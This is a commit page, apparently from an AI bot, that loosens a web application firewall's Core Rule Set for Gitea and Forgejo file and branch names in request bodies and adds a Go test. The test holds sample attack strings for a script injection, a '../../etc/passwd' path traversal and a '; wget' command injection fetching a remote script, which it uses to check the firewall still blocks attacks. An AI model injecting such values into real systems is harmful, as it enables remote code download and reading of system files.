Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Waiting to run

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- new_branch_name of a branch created on the web or the API;
- from and to of a renamed branch, on gitea's and Forgejo's paths;
- head of a pull request and message of a file, through the API.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-11 13:08:23 +00:00
1 parent b6aa2cbc4b
commit 5ef701a381
9 files changed
+236 -10

No files matched your search

+81
View File
@@ -1720,6 +1720,9 @@ const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// shellCommand is commandInjection, not escaped.
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -1925,6 +1928,84 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
// gitea and Forgejo name a file or a branch. Each lets through the name that
// was refused there, and still refuses a shell command after a ";" and a path
// traversal. The same name is still refused in another field on the same path,
// and in the field itself when the query has a parameter of the field's name.
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const (
threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
repo = "/alice/tools"
api = "/api/v1/repos/alice/tools"
)
crs := readingBodies(t)
for _, tc := range []struct {
path, contentType, field, name string
}{
{repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"},
{repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"},
{repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"},
{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
{repo + "/branches/_new/branch/main", formData, "new_branch_name", "docker-build"},
{repo + "/branches/rename", formData, "from", "feat/docker-support"},
{repo + "/branches/rename", formData, "to", "feat/python3-support"},
// Forgejo's path for renaming a branch.
{repo + "/settings/rename_branch", formData, "to", "feat/python3-support"},
{api + "/branches", jsonBody, "new_branch_name", "python3-docs"},
{api + "/pulls", jsonBody, "head", "feat/docker-support"},
{
api + "/contents/scripts/powershell-build.ps1", jsonBody,
"message", "Add a PowerShell build script",
},
} {
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
body := func(field, value string) string {
if tc.contentType == formData {
return field + "=" + url.QueryEscape(value)
}
quoted, err := json.Marshal(map[string]string{field: value})
if err != nil {
t.Fatal(err)
}
return string(quoted)
}
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
}
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
}
param := tc.field
if tc.contentType == jsonBody {
param = "json." + tc.field
}
queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
if got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
}
for _, attack := range []string{shellCommand, pathTraversal} {
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
}
}
}
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()